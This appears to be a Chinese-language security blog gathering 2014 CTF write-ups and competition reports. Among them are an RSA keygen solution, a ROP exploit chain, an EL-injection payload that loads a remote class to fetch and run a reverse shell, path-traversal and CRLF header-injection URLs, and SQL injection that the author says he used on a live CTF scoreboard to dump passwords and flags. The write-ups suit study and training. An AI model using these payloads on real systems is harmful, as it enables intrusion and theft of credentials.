2014年12月11日 星期四

103 年資安技能金盾獎


紀錄一下XD

103 年資安技能金盾獎,

台科大 「一輩子的明太子大食團」,冠軍!




(圖文不符,放張圖好像比較有內容點)



2014年10月19日 星期日

Hack in the Box 2014 CTF Writeup - KeygenMe with RSA




這次被以 HITCON 的身份邀請到馬來西亞參加 HITB 2014 CTF,照慣例來寫篇 Write Up

這次結果只有亞軍第二名有點殘念,
第二天下午攻擊程式停了四小時少了幾萬分,不然應該有望第一XD
不過也是經驗,有個自動化攻擊以及送 Flag 的 Framework 真的還滿重要的,沒準備好也是失策XDRZ

HITB 這次是以 Attack & Defense 加上 Jeopardy 形式舉辦,
每個隊伍有一檯實體主機,上面 run 個 Ubuntu 14.04 on VMPlayer
隊伍要想辦法自己取得 root 以及找到服務開啟
到比賽截止前主辦方共放出了 4 個 Daemon 以及 7 個 Challenge

比賽形式是以宇宙機戰的模式進行,
每回合成功 Keep 住 Daemon 獲得 100 生命值,
成功攻擊其他隊伍 Daemon Flag 獲得 200 生命值,
而 Challenges 則是加分項目,成功解開一個獲得 2000 - 3000 不等的生命值



而雖然這次的比賽是以 Attack & Defense 型式進行,
不過各 Daemon 服務比較像是 Reversing & Puzzle 的綜合,
成功解開後 Daemon 會自行讀取 Flag 吐給你,所以整場比賽也都不會用到 Overflow, Shellcode, ROP... 等

另外的 Challenge 則比較偏向 Reversing 以及 Stego 的形式,


這次的 Write Up 就是本次 CTF Challenge 中的一題 Reversing 題目,
雖然本身是 Web 狗、滲透狗,不過在這種對我們不友善的地方還是只能哭著下去看 T_____T


題目是一題 Keygen Me,
標題是 HITB2013KUL 不知道是 Typo Error 還是去年出的題目沒有用上放到今年開XDDDDD



很直觀的就是一個驗證程式要寫出註冊碼,正確會顯示 Correct 錯誤會顯示 Wrong
理所當然使用爆破直接改跳轉點是沒有用的,

二話不說拖進 IDA



一堆臭臭長長的 Function 沒有辨識出來,
OEP 怪怪的不過不影響分析,
Visual C++ 編出來的程式多了一些怪程式區段滿機車的 T___T

使用 GetDlgItemText 可以把關鍵地方定位出來,
仔細觀察發現程式有使用 MIRACL 的 C++ 大數函示庫,
可以從 這篇 文章中將各個函數作用大致識別出來,如 subtract, divide, powmod 等,
如此一來分析輕鬆了許多!

接著花了幾個小時分析,把大致程式邏輯給弄懂如下
(IDA 靜態分析中雖然沒有看到對於 e 的賦值,不過可以透過動態追蹤會發現 e = 17)



看起來是對 Input 進行處理後使用 RSA 加密起來並且最後與密文進行比對,成功則是正確的 Flag!
RSA 依靠大質數保護演算法的安全,其中用到的大質數乘積為
7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
滿短的應該可以很快解出,
丟進 Factordb 中可以馬上分解出
7906961983...49 = 88899280969284710491078307117271523349979587 x 88942923919478497069248398794539034790292827
所以現在有了
p =  88899280969284710491078307117271523349979587
q = 88942923919478497069248398794539034790292827
e = 17
n = 7906961983...49
複習了一下好久沒碰的 RSA,當把 N 解開有了 P 跟 Q 後接下來可以求出 Private Key D 來,這邊使用 rsatool 來用

orange@me:~$ python rsatool.py \
> -p 88899280969284710491078307117271523349979587 \
> -q 88942923919478497069248398794539034790292827 \
> -e 17 \
> -n 7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
Using (p, q) to initialise RSA instance

n =
fe6277ac25de48eedb829ad5458bc32e0dd678c80a123ecd73a54cb08eb719017cc88c751

e = 17 (0x11)

d =
d17e446fa6b70ee2d2e40709fd09afcb92ec72dbe4c3614dcfb8a25b150b817622e58ae49

p =
3fc8381a552f012766fc3078a07f8103761c3

q =

3fd03c2f3c9b63f9208ee942c904d16536d5b

得到 D 之後就可以解上面要解的密文了!

orange@me:~$ echo 021abe7c17d73978e63835b0e76ad6120f5a3f8148f3de87da6e5b07bf7b76041c78aedf0c | xxd -r -p | python rsacrack.py -d d17e446fa6b70ee2d2e40709fd09afcb92ec72dbe4c3614dcfb8a25b150b817622e58ae49 fe6277ac25de48eedb829ad5458bc32e0dd678c80a123ecd73a54cb08eb719017cc88c751 | xxd -p -c 64

0000000000000000000000000000000000000000000001c2f3db8f478caafc84b10ed113

得到明文 1c2f3db8f478caafc84b10ed113
不過這是運算過後的結果 =___=
所以要根據剛剛的運算弄出逆算法(數學苦手XDRZ)

最後推出
0x1c2f3db8f478caafc84b10ed113 * 66772239585999913610952241123315507216972277506025821^N + 29411180916569003283374190496632319086172136623216324
出來的結果就可以以十進位五個一組五個一組推回原本的 FLAG 
又因為是 mod 的逆運算,根據 N 的值答案可以不只一組( N=1,2,3 ... )

最後得出當 N=1 的時候會有 printable 的解
2385648152415111590458116323765417147676516881603229820532451315251688506013237646763
解碼後為












2014年8月26日 星期二

HITCON Won the 2nd in DEFCON 22 CTF Final





HITCON 周結束,終於有個時間可以來寫寫個日記,順便記錄一下今年出征的一些記錄
這種感覺有點像是電競選手( 不過比的是駭客技巧就是了XD )

感謝所有參與的隊友們、以及提供幫助的各位朋友、前輩,以及全額贊助 HITCON 去 Las Vegas 比賽的趨勢科技
( 幾十個人來回的 Las Vegas 機票真的不便宜... )

這邊讓我一一感謝一下強者我隊友們!(排名不分先後xD)
  • Sean, Jeffxx, Atdog, Ddaa, Lucas 隊伍中的最主要負責找漏洞的神手,沒有他們我們的攻擊能力絕對不可能那麼強
  • Jerry 隊伍的防護全部靠他了,甚至強到只要看到攻擊形式就可以把未知的漏洞給修補起來!(順道一提這位強者現在才大二喲!)
  • Shik, Peter 兩位 ACM World Final 神手,除了分析外,比賽中只要把攻擊代碼給他們,接下來就可以自動得分了,另外這次 DEFCON 的比賽有道題目是必須要跟演算法有關,有個他們兩個根本就 OP!
  • DM4 比賽主機的狀況幾乎都是他在顧的,他寫 script 程式的質量速度真的讓人驚歎!( 可惡是 Ruby 派XD )

當然並不是所有隊員只做一件事,大部份的狀況都是一個隊員要身兼多職,分析 pcap 啦、顧主機、找洞啦等

HITCON 隊伍從初賽的臨時抱佛腳賽進決賽名單,到最後成功獲得世界最大比賽 DEFCON CTF 的亞軍,到現在還是很難以相信。



相關比賽紀錄可以參考:



百度 BCTF

出征的第一場,是參加由中國百度所主辦的 BCTF 為 HITCON ( 原 HITCON 217 )的前哨戰,
做為第一次參加的正式 Attack & Defense 比賽,很大程度上讓我們體驗了 DEFCON CTF 的規則,驗證了許多原本的猜想,
也在此場戰役中發想出了許多 Idea 在後面的 DEFCON CTF 都有被我們給用上,也可以說是「如果沒有這場比賽的熟悉,直接到了 DEFCON CTF 現場應該會手忙腳亂吧XD」

 ( 主辦方技術支持 Blue Lotus,picture from Alan )


比賽間,在第一天我們順利找出 secret-guard 題目的 0day 造成分數爬升的差距使得後面隊伍無法追趕,也因為有了先手優勢使我們可以在此場戰役中取得冠軍!

在最後一天有個隊伍試圖想對我們使用 fork bomb 來個奮力一搏,不過我們在他們要使用前修補了漏洞XD

以及由於第二天分數相差懸殊,使得我們可以在多餘的時間去實作以及分析其他的技巧的可行性,例如

  1. 分析其他隊伍的修補是否完整,是否有可以繞過的地方。
  2. 在其他隊伍的 Gamebox 上架 socks server
  3. 分析其他隊伍如何防護等

在此也認識了些聊得來的中國朋友,算是意外的收獲~



SECUINSIDE CTF FINAL

出征的第二場,是由韓國 ASRT 所主辦的 SECUINSIDE CTF Final,

在韓國首爾所舉辦,採用的是 Jeopardy 解題形的方式,
作為資安大國的韓國,SECUINSIDE 獎金也是世界最多,第一名可得 88 萬台幣,

也開始在韓國知道、認識到世界上的一些強隊,
如 9447 是 Australia 的一個學校社團,隊員中竟然還有女生( 連 DEFCON CTF Final 都有出現,好像真的滿厲害的xD ),
韓國 BOB 計劃培養出來的隊伍,
看到老外跟老外之前好像都是認識的一樣,有點反省自己的英文水平還是不好

決賽共十隊參賽,在這次的比賽中 HITCON 隊伍表現並不如預期,尋找弱點的速度輸其他隊伍、相關的平台也沒準備好,如
  1. IOS App Reversing
  2. Windows 8 App Reversing
  3. SPARC pwn
  4. ... 
題目中還看到李家同教授的 DNA Crypto 理論,在比賽途中沒人解出時主辦單位還直接貼論文上來,
不過總體來說從這場戰役中體驗到我們的差距仍然距離世界等級有一段差距,如
  1. 此場比賽中的冠軍,是由天才駭客 Geohot 一個人所組的隊伍 tomcr00se 抱走 88 萬
  2. 日本隊伍 Binja 在此場戰役中取得了進入之前在 DEFCON CTF 初賽無法取得的決賽門票,有題我們一直無法解出的 300 分 pwn 題目,還是由一名日本天才高中生解出
  3. 也有看到某隊伍 Skype 視窗好多人啦XD

比賽途中也有一些趣事如 BalalaikaCr3w 這個隊伍在嘗試送 Key 時送太快造成主辦單位 Race Condition 所以 200 分的題目可以送兩次變 400 分XD

以及主辦單位特地幫各個國家準備隊伍名稱配上國旗的大帆布看到也真是太感動!



相關比賽紀錄可以參考:



DEFCON CTF FINAL

由美國 LEGITBS 所主辦的 DEFCON CTF
也是世界上相關比賽中最出名的一個,被喻為是駭客界的奧林匹克,由

  • DEFCON 初賽選出前十二名隊伍
  • 世界上各區域種子賽的冠軍共八隊

共 20 隊
比賽也是採取 Attack & Defense 形式,共三天
在比賽中,我們一直無法搞定網路環境
( 需要可以支援 VLAN tag 999 的機器 )
後來跟其他隊伍交流,聽說 Blue Lotus 還特地去買了個 Switch 還不能用XD,
另外個隊伍就比較土豪說他們直接用 Mac Mini 當 Router 來用xDDD

這就是我們這三天要拼死要保護的主機,並且要想盡辦法入侵同樣別人的這台主機

( picture from Alan )


DEFCON 同時也會世界最大知名駭客研討會,三、四天的行程吸引了萬人以上不論駭客、鎖匠、教授、資安專家等齊聚 Las Vegas,下面則是入場門牌,一張 200 還 220 美金XD

「DO NOT OBEY」也是這次這次 Badge 的標語,整個也很符合駭客的習性xD



比賽中有幾個特別的成就我這邊列一下,

1. HITCON 隊伍為全場三天內第一個取得分數的隊伍,主辦單位為此顯示 First Blood 於螢幕上


2. 結束時被冠軍 PPP 過來除了詢問 Eliza 的 exploit 如何撰寫外,使用的後門形式還被稱讚「Your crontab is so cute.」

3. 從 Youtube 可以看出在這段時間內,我們 HITCON 是唯一可以吃到 PPP 分數的一隊




最後是所有隊友的合作無間,

在比賽第二天的下午到最後一天結束,在被冠軍 PPP 強力猛攻的時期培養出了一個 SOP 流程
  1. 發現被攻擊,立即記錄下何時於哪個服務失分
  2. 立即有人馬分析封包流量,找出其他隊伍所使用的 exploit 並嘗試 Replay
  3. 如無法成功則送至另外一組人馬手上分析,
  4. 從 exploit 大致分析為何種攻擊方式,並且交給負責的人為自己的服務上 Patch
  5. 將此 exploit 寫成自動化攻擊程式

所以在比賽後半場,大家都在緊張兮兮深怕 Skype 有訊息跳出來,因為只要一有訊息跳出來則可能代表,又被其他隊伍攻擊成功了,這兩天所消耗的精神真得滿可觀的。

PPP 為冠軍真的當之無愧,除了第二天下午發現的 justify 0day 外,還有 wdub, imap 一直連打,
( 雖可以 justify replay ,但目測有 ASLR 約 200 ~ 300 次約才有一次成功 )

連唯一的 Badge 題,雖然在比賽中 PPP 沒有成功利用,但事後 LegitBS 敘述 PPP 是有成功做出這題的 exploit 的,但是由於他們設計 Badge 題目的錯誤使得 IP 網段在 10.5.0.??? 的 PPP 無法成功取得分數( 估計是 Null byte 問題 XD )

事後想想,第三天快結束時, 由於 HITCON 隊伍剛好是以四強的身分坐在 PPP 對面,我的正對面就是 Geohot,那時他突然大吼了一聲,現在想起來也許就是完成 Badger exploit 的感覺,真的是 Never Give Up。

( picture from Legitbs )


比賽最後五分鐘,主辦單位放起了 Europe 的 The Final Countdown,除了歌曲剛好倒數五分鐘外,最後結束全場的歡呼拍手有了個努力三天有個完美 Ending 的感覺。

比賽的冠軍根據傳統會得到八張黑色 DEFCON Badge,也就是傳說中的 DEFCON 黑卡,憑此卡可以每年免費進入 DEFCON 會場,亞軍以下就沒有什麼獎品了,純粹是知名度!
(去年亞軍還有比賽用的 ARM 開發版的說xDD)

其他關於 DEFCON CTF Final 心得可以參考:




---

最後的結語,來點感嘆

在 HITCON ENT 跟中國朋友聊到,

有個現象,
做二進制 Binary 的看不起做 Web、做滲透的,
做 Web、滲透的覺得看到做二進制的就很屌。

做 Web、滲透除了技能是基本功必要具備外,
更多的是技巧(Trick)的了解、想像力以及對於資訊的敏感度,
但很多的人以為技巧就是技巧,沒什麼

引用一下 「中國黑客傳說:我是超級黑」中的文句如是說,
「技巧也要點一下你才會通啊,不點你可能永遠也通不了」

以同樣難度的題目為例,

Binary 可能要花時間分析就可以有結果,
Web 只要懂個比較少人懂的 Trick 就可以馬上得分,

而且往往有更多的Web 技巧、滲透技巧是無法以 CTF 題目的方式呈現的的,

但這樣看下來,好像做 Binary 的就比較厲害,做 Web 或是滲透的就因為花的時間少比較不受重視 :(

不可否認的,如果是從資安要入門很多人會推薦從 Web Security 入門,因為是簡單快速能有成就感的一門科目,

我也這麼推薦,比起如 Pwnable 或是 Reversing 等需要大量基礎知識的學科,Web 這方便真的相對好入門,

以學習曲線舉例會如

Web Security、滲透一開始的學期曲線低,但後期的曲線相對是直線攀升的
(所以很多人會覺得自己做 Web 或是滲透卡在高不成、低不就的階段)
Binary 相關一開始的學習難度高、曲線高,但後期只要努力便可以穩定爬升

但很多人只看到好入門這邊做文章,與簡單沒技術畫上等號,然後看到 Kernel、Ring0、組語等就高潮了。
(好像在某些地方也有這種現象...)




---


最後 HITCON 隊伍需要各方好手加入,歡迎你們!

附上此次亮相館為本次比賽所拍的紀錄片




2014年5月19日 星期一

Defcon CTF Quals 2014 - Nonameyet write up



記錄一下,

Defcon 是世界駭客  CTF 比賽最盛大的賽事,每年都是每個國家資安社群比拼較勁的地方

前十二強可以進入八月在 Las Vegas 拉斯維加斯舉辦的決賽,在現場進行實際網路攻防的 Attack & Defense CTF 的比賽!

在今年,終於湊齊台灣各方戰力順利打入決賽!

計分板:




這次解了三、四題左右,

這次感想有隊友可以 Cover 真的滿不錯的,討論時可以互相發現對方沒有想到的盲點等

然後第一次嘗試吃 B 群,超有用的 xDDDD

另外這次與以往不同的是,

1. 題目的分類不像以往依 Web, Forensics, Recon, Binary ... 等分類,而是依作者分類

2. 這次比賽共 24 題,幾乎七成都是 PWN 的題目

這讓所有隊伍從一開始壓力就很大,整個 48 小時比賽節奏很慢
(由於第一個解開題目的人有下一道題目的開題權,而 PWN 考驗的是細心的分析以及漏洞精準的利用,因此就算到了最後 12 小時還有約 1/3 的題目沒開)

3. 剩下的題目只有 Protocol 分析、純 Binary 逆向等,並沒有 Forensics

4. Web 題目只有兩題。
(正確來說只有一題,另外一題是看起來是 Web 其實是 PWN )
(不過身為 Web Security 的愛好者,所以就算是扯到 PWN 還是要把它給解出來,因此特地把這篇寫出來記錄一下!)



這次的題目是 "Nonameyet"

這題約在倒數十二小時時出現,題目敘述是這樣的
I claim no responsibility for the things posted here. nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me:80
網址進去是一個 PHP 寫的照片分享以及上傳網站,很容易不難發現任意檔案下載的漏洞

可以從
http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=./../../../../../../../../../../../../../etc/passwd
下載任意檔案

雖然大部份功能都是 PHP 撰寫,但是上傳相片的部份卻是放在
http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/cgi-bin/nonameyet.cgi
這是一個  C 語言所撰寫並編譯成 32 位元 ELF Linux Binary 的可執行檔
(檔案可從這裡下載

整個網站要入侵從 PHP 的視野來看無法拿到寫入的權限以及執行命令的權限,

所能做的只能讀檔,但為了  PWN 他光讀檔是沒有用的,至少要可以執行指令!

所以從純 Web 的路下不了手只好從 cgi-bin 下的那個 nonameyet.cgi下手尋找看看是否有可利用的地方

仔細觀察了 一段 不只一段時間,發現

1. 程式會將從 multipart/form-data POST base 的值當作檔案名稱上傳至 cgi-bin/photos 資料夾下,但是 open 時權限為 420 無法執行

2. 無法直接寫入 PHP 木馬到目錄下

3. 會將上傳後的 POST base 檔名經過 base64 編碼後放在 Cookie 上,其中 base 的內容經過設計後可以 leak memory 洩漏記憶體內容

4. base 的值太長會發生 Heap Overflow 但初步看下去沒有可控之處

5. 有段程式邏輯再處理 base 的內容,尋找他所定義的 TAGS (ex: %Time%, %Date%, %Genr%) 等並取代成相對應於 POST 值的內容

發現有 Heap Overflow 後就一直再 Fuzz 有沒有方法可以控制 EIP 的,
(要去追有點累...XDrz)

嘗試了滿久都失敗最後發現在處理  TAG 時程式去引用時可以去控制一些暫存器內容,經過設計後可以使它產生 Stack Overflow


所以控制好 ecx 以及 esi 接下來讓 mov [ebx], eax 的 ebx 為一個合法的值就可以來到 ret



證明 EIP 可控,接下來就是構造 Exploit 的部份

由於 Stack 可寫,讓整個 Exploit 撰寫變得簡單許多,剩下比較機歪的的就是  ASLR 的部份,

所以利用 ROP 的手法,

將 shellcode 放置在 Cookie 的部份,在利用原本程式中的 getenv 執行後結果 eax 會是我們的 shellcode

最後再找個 call eax 就可以成功執行 shellcode

所以最後構造的 ROP Chain 類似

AAAAAAA... # junk
0x00000000 #  要賦予給 n 的值
AAAAAAA... # junk
0x0804af93 # [ pop ebp / ret ]
0x0804f02c # 可寫的地方,會被設為 ebx 的值
0x08048a80 # .GOT getenv
0x08048cff # [call eax]
0x0804d55a # .RODATA 字串 HTTP_COOKIE


送出如下的 Request



即可拿到反連 shell



The flag is: Angry Rhinoceros. And then I found five dollars.





2014年3月31日 星期一

Pw3ed CTF LeaderBoard - Git Misconfiguration & SQL Injection




(前情提要)

某月某日晚上,人在外面有約正巧無法參與在週末所舉辦的 CTF

這次的這個 CTF 競賽似乎是某個國家某個實驗室第一次舉辦的對外 CTF 競賽,在 Ctftime.org 也有獨立頁面

結束回到家時競賽正好剩下最後幾個小時,在朋友的 Wargame 討論頻道內看到了一個鏈結

這次的競賽很特別的一點是,有所謂 hidden flag 的設計,會有額外的分數藏在計分板網站的各個角落

在對網站搜索的過程中,會不會找著找著就不小心找進去計分板裡面呢? 這篇就是再說這樣的一個故事


(目前網站漏洞已修復)


一開始看到的是這個鏈結
http://vulnerability-leader-board/error_log

看起來是網站開發時的 Error Log 以及 Apache 的設置沒設置好

看到這樣子的內容暴露在網路上,可以想像整個網站的防護應該不是很完整的,因此我們繼續來深入看看

整個網站是用 PHP, Apache, MySQL, Ubuntu 所架設,

PHP 的部分使用了 MVC 的架構,整個網站逛了一下發現安全設定似乎沒有很嚴謹,表面上看起來很 ok 不過在一些小細節的處理上滿容易噴出錯誤訊息的

如把 ?team=foo 置換成 ?team[]=foo 很容易噴出如
Warning: substr() expects parameter 1 to be string, array given in /home/deploy/vulnerability-leader-board/handlers/team_handler.php on line 146
等錯誤訊息。



再翻翻發現了
http://vulnerability-leader-board/phpmyadmin/
http://vulnerability-leader-board/.git/
的目錄。

許多開發者會將 Git, SVN 或者 CVS clone(checkout) 到正式上線的網站上,

這時如果未將權限設置好,攻擊者可以透過這些版本控管軟體所留下的資訊,取得敏感資訊。
(某些狀況甚至可以獲取原始碼)

http://vulnerability-leader-board/.git/config
http://vulnerability-leader-board/.git/index
 
從 config 可以看到,使用了 github.com 的平台,以及哪個 Repository 以及 Github 帳號資訊等
(不過在那個時候無法從 Github 存取到,似乎那個 repo 是 private 的或者已經移除)


從 index 可以取得網站目錄結構

懶人可以直接 curl http://vulnerability-leader-board/.git/index | strings 快速爬出


從目錄結構已經可以發現些有趣的東西了,

已經可以看到一些題目的 FLAG 了,因為某些題目的 FLAG 是以檔案形式放在網站上,也可以發現一些 Hidden Flags

接著再依照剛剛的目錄結構對現有檔案做一次觀察,發現了開發者留下的測試頁面
http://vulnerability-leader-board/nemoscript.php
點進去會發現


「 pass a team 」
恩,好,你要隊伍名稱我就給你嘛 ʅ(´◔౪◔)ʃ

我的隊伍名稱叫做 「 a' 」
http://vulnerability-leader-board/nemoscript.php?team=a' 


看來是 SQL Injection,而且還是個 Error Based 的 SQL Injection ...

再來看看一下權限高不高,
http://vulnerability-leader-board/nemoscript.php?team=a' and exists (select * from mysql.user)%23
恩...

可以存取 mysql.user 以及又跑在 localhost 以及又存在 phpmyadmin

這麼完美的組合好久沒遇到了

接著就是丟到 owst ...

可以讀取檔案(/etc/passwd)




所有的註冊隊伍使用者
#plainpass



接下來就是最 High 的,所有題目的 Flags



到這裡囉,舉辦一次 CTF 競賽也是很辛苦的!

總而言之這是一次很有趣的體驗 :P

2014年3月30日 星期日

Volga CTF 2014 Web 400 write up



回到家看到 CRAX Team 在玩 VolgaCTF 就順手玩了一下

解這題的時候順便讓我練習到了之前就想好好惡補一下的 EL 注入(Expression Language Injection) ,最後花了滿多時間再用 Java 的 Reflection API 來找到可利用的地方


網址點開為一個類似 Twitter 的個人留言板服務



註冊登入後長得如下,共有新增留言、設定、個人首頁、登出的功能



接下來就是開始找尋漏洞的時候,找的方法不外乎那些XD

最後是發現在設定的地方有個可以讓使用者自行指定布景 (header)的功能


使用 Tamper Data 對我們送出的資訊進行截取,


可以發現,送出的資料中 header 的部分是一個檔案路徑的形式存在
./headers/bar.xhtml
網站透過這個功能去引用自己的 template 以達到使用者自定布景主題的效果

因此我們來試試看,將 header 設為 ../../../../../etc/passwd 看會出現什麼事情?



網站死掉了...

任何功能都無法操作,只能把 Cookie 清空再註冊一個帳號嘗試,之後的步驟都是這樣,只要一個地方出錯就要重新註冊一個帳號重來一次XD

這點滿麻煩的,不過多少達到讓駭客覺得麻煩防駭客的效果XD

不過從錯誤資訊可以看到,網站使用了 <ui:include src="..."> 的方式引入檔案,所以透過這個功能我們可以引入伺服器上的任意檔案
(但是只限定於 html, xml 格式,不然再處理時會出錯一樣無法看到檔案內容)

雖然有格式限制,但我們可以嘗試引入網站 Java Servlet 的設定檔 WEB-INF/web.xml 來讀取一些設定


現在已經定位了漏洞的地方了,接下來是如何的利用?

發現,在引入的時候不只可以引入本地檔案,也可以利用 http://yourhome/foo.xml 的方式引入外部 html 或者 xml

但是只是引入 html 或者 xml 有什麼用呢?

在許多 Java Servlet 裏面(如 Struts, Spring Framework GlassFish etc...)我們可以使用一種叫做 EL 的語言,EL 本意是用來降低後端程式跟前端的困擾,讓兩者出來的程式可以更快速地結合

使用的方式是使用 ${...EL...} 這樣的方式執行,

所以我們將 header 設為自己伺服器上的檔案 http://yourhome.com/evil.xml

並將 evil.xml 內容設定為
<f:view xmlns:f="http://java.sun.com/jsf/core"
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${300*1+1}'/>
</f:view> 


可以看到 300*1+1 有確實的被執行到變成 301 惹

再用 applicationScope 查看一下伺服器設定,

<f:view xmlns:f="http://java.sun.com/jsf/core" 
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${applicationScope}'/>
</f:view>



可以查看一些敏感資訊,最後是執行指令的部分

EL 有對於一些危險指令做了一些限制,不過這些限制是可以繞過

相關 paper 可以參考 Remote Code with Expression Language Injection

內文中使用 Java Reflection API 的方式拿到 URLClassLoader 去讀取自己所寫好惡意的Java class 檔案

但是伺服器上的環境似乎跟 Paper 不太相同,所以不能直接使用上面的攻擊代碼,必須小改一下

伺服器上似乎沒有 pageContext 這個全域變數,所以無法透過它去取得 ServletContext 的 class

所以那時候就在慢慢踹,對其他已知的全域變數用 Relfection API  想辦法拿到ServletContext 這個 class

最後發現可以改用 session.getServletContext(),因此改寫上面的攻擊代碼

http://yourhome.com/evil.xml




http://yourhome.com/Malicious.class 要放上你要執行的 Java 程式

我這裡放的是從自己的 server 上下載反連的 perl script,並且執行




結果如下




FLAG W0W_S0_J@V@_SUCH_EL_V3RY_RCE


2014年2月10日 星期一

Olympic CTF 2014 CURLing 400 write up



Olympic CTF CURLing 400 的 write up

前言可以參考 Olympic CTF 2014 CURLing 200 write up

這題也是個人覺得出的非常不錯的題目之一,

要解開必須很熟悉 PHP 的特性以及攻擊手法才能解開這道題目,

網址打開是一個白畫面,有個 PHP 的錯誤訊息
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27


有再寫 PHP 的同學應該馬上可以知道這個 Notice 這是少了一個 GPC 參數的警告,

所以我們可以自己補上 POST
rpc_json_call=blablalba


哦,會發現錯誤訊息變了

Google 搜尋一下 JSON RPC 的標準,照著標準送出
rpc_json_call={"jsonrpc": "2.0", "method": "subtract", "params": [42, 23], "id": 1} 


會發現錯誤訊息又變了

哦?不正確的 method 名稱?

這時候可以猜測 method 名稱,不過笨蛋才會亂猜 :p

有範圍的猜測會比盲目的亂猜好太多,

如果對 PHP 夠了解,會知道 PHP class 上都會有一些 Magic Method 存在,

經過測試會發現 __construct 以及 __wakeup 是可以使用的!

送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":[1,2], "id": 1} 


錯誤訊息又變了! 不過從這次的錯誤訊息中可以得到資訊,知道了 __construct 的參數有三個,log_dir, debug, 以及 state

一樣偽造這三個參數的值後送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1}


發現是白畫面T____T

到這邊卡住了一下,也許 __construct 只是去設定了 log_dir, debug 以及 state 這三個參數並沒有其他動作,所以是不是能在一個 reuqest 內執行兩次 JSON RPC CALL 呢(?

沒有翻得很勤勞不過猜測在一個 array 內送兩個 json hash 竟然可以XDDD
rpc_json_call=[
{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1},
{"jsonrpc": "2.0", "method": "__wakeup", "params":{}, "id": 1}

哦,loged ? 啊是 log 三小XDDDD

把 log_dir 參數改一下改成 /var/www 看看


竟然說 permission denied XD

那嘗試 /tmp/ 呢?


看來是真的可以寫檔,那它寫了什麼呢?

可以用 out-of-bound 的方法利用 PHP 支援的 wrapper 把內容給寫出來
(PHP 支援的話甚至可以用 except://ls 執行指令)

利用 php://output 可以把內容寫到網頁上,


原來寫了一個 serialize 過後的 PHP Object 進去,難怪會用到 __wakeup 的 magic method

所以我們可以嘗試把 webshell 寫到 /var/www/ 內

不過因為 server 的設定,似乎每隔一秒會定時把 /var/www 的檔案清掉,所以如果手速不夠快會一直以為自己沒有寫成功
(哭哭T___T)

所以寫個 script 搞定!



執行 ls -alh


執行 cat /FLAG
CTF{b15ffee30a117f418d1cede6faa57778}


<( ̄︶ ̄)>


Olympic CTF 2014 CURLing 200 write up



最近剛好玩了一下 Olympic CTF ,解了一些題目,

其中有幾題讓自己印象深刻,還滿有趣的所以來記錄一下 XD


-----
400 分的可以參考另外一篇 CURLing 400
----

首先是 CURLing 200 分~

打開是一個新聞系統的頁面


其中選取新聞的參數似乎是去讀取檔案,並且存在 Directory Traversal 漏洞,可以透過 ../ 來偽造路徑
(還記得 遠通 嗎 XDD)

http://109.233.61.11:27280/news/?f=./31-12-2013
漏洞判斷方式是把原本的參數加上 ./ 會顯示與原本的頁面一樣

所以可以利用 ../ 去讀取伺服器上的檔案(知道路徑以及權限足夠),如
http://109.233.61.11:27280/news/?f=../../../../etc/passwd

也可以讀取 /proc/self/cmdline 來得知當前運行什麼程序
http://109.233.61.11:27280/news/?f=../../../../proc/self/cmdline
可以知道這個新聞系統是用 Pyhton + Django + Gunicorn 所架設的


翻了一下似乎都找不到什麼有用的資訊,所以來看看 Nginx 還有藏什麼網頁服務在?

猜一下 Nginx.conf 的預設位置
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/nginx.conf

看不到什麼有用的資訊,不過沒關係我們在繼續猜
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/sites-enabled/default
Got it. 看到了 /secret/flag 的 URL pattern 似乎可以得到目標 flag


但是直接 Access 會出現 404 Not Found T______T


仔細再看一下 /etc/nginx/sites-enabled/default 檔案,會發現有 internal 以及 root 的字樣,

查一下 官方 manual 會發現這是 Nginx 的功能之一可以用來保護檔案,

至於存取的方法是 Nginx 判斷 server 是否有送出 X-Accel-Redirect 的 header,如果有才允許使用者存取檔案,

但是這個 header 是 server 端控制,所以使用者無法偽造,


在這邊卡了一下子,不過再仔細觀察整個新聞系統發現網頁其實存在另外一個漏洞,

在瀏覽新聞的時候下方回首頁的連結是透過一個參數 retpath 控制的

伺服器端實現的原理是把 retpath 的值放進 Location header 裡隨著 server 一起送回來,

如送出
http://109.233.61.11:27280/?retpath=foooo
則 server 吐回的則是 Location: foooo
所以在這個情況下,存在 HTTP Response Splitting 弱點,不過我們可以不用偽造整個 request 只要偽造一個 header 就好了例如
http://109.233.61.11:27280/?retpath=foo%0d%0afake_header:fake_value
則可以成功偽造一個 fake_header 的 header

所以如果沒有搭配上面的 ../ 找出 Nginx 設定檔案,可能只會把這個當成一個沒有大危害的弱點
(只能針對 Client Side 攻擊)

不過當配合上面 Nginx internal 的設定以及這個漏洞,組合技的效果就出來了,這也是我覺得這次題目出得不錯的原因之一XD

送出
http://109.233.61.11:27280/?retpath=foo%0d%0aX-Accel-Redirect:/secret/flag
就可以得到 flag 惹!
CTF{6e75d02b8e8329bb4b45c7dabd2e1da2}